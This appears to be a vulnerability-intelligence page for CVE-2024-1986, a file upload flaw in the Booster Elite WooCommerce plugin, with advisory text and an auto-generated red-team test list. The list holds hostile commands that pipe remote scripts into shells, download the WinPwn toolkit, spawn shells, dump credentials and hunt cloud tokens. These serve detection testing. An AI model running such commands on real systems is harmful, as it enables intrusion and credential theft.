CVE-2024-1986
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the wc_add_new_product() function of the Booster Elite for WooCommerce plugin. The affected component is the customer product upload feature, which lacks proper filtering or sanitization of uploaded files, allowing unauthorized file types to be accepted and stored on the server.
Vulnerability Description
The Booster Elite for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the wc_add_new_product() function in all versions up to, and including, 7.1.7. This makes it possible for customer-level attackers, and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. This is only exploitable when the user product upload functionality is enabled.
Impact
An attacker with customer-level access can upload arbitrary files to the server, which may be executed remotely leading to full compromise of the WordPress environment. This requires the user product upload feature to be enabled and authenticated access with at least limited privileges (PR:L). The vulnerability can result in unauthorized code execution, data breach, and persistent backdoor installation. The CVSS vector indicates network attack vector, low attack complexity, and high confidentiality, integrity, and availability impact (AV:N/AC:L/PR:L/UI:N/C:H/I:H/A:H).
Solution
Upgrade Booster Elite for WooCommerce to a version later than 7.1.7 where the file upload validation has been implemented. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c9c2fb7f-a05b-4852-97eb-7befe880d703 for patch details. Alternatively, disable the user product upload functionality until an update is applied to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Booster Elite plugin for WooCommerce arises from inadequate file type validation within the wc_add_new_product() function. This oversight allows users with customer-level access and above to upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks on file types means that malicious actors can exploit this weakness to upload potentially harmful files, including scripts that could lead to remote code execution. This vulnerability is particularly concerning as it affects all versions of the plugin up to and including 7.1.7, making it a widespread issue for users who have not updated their installations.
Exploitation of this vulnerability can occur through various attack vectors. For instance, if the user product upload functionality is enabled, an attacker could create a product listing and upload a malicious file disguised as a legitimate product image or document. Once uploaded, if the server does not properly restrict access to the uploaded files, the attacker could execute the file, gaining control over the server environment. This could lead to further exploitation, such as data breaches, website defacement, or the deployment of malware. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for e-commerce businesses relying on the WooCommerce platform. Successful exploitation could lead to unauthorized access to sensitive customer data, including payment information, personal details, and order histories. Such breaches not only jeopardize customer trust but can also result in substantial financial losses, regulatory fines, and reputational damage. The business risk is compounded by the fact that e-commerce sites are often prime targets for cybercriminals, making the presence of such vulnerabilities a critical concern for organizations operating in this space.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating the Booster Elite plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Implementing strict file type validation on the server side, regardless of the plugin's capabilities, can further reduce the risk of arbitrary file uploads. Regular security audits and vulnerability assessments should also be conducted to identify and remediate potential weaknesses before they can be exploited.
In conclusion, the vulnerability in the Booster Elite plugin for WooCommerce highlights the critical importance of robust security practices in web applications. The combination of inadequate file validation and the potential for remote code execution poses a significant threat to businesses and their customers. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive measures, including timely updates and enhanced security protocols, are essential to safeguarding against the risks posed by this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Booster | Booster For Woocommerce | All |
cpe:2.3:a:booster:booster_for_woocommerce:*:*:*:*:elite:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.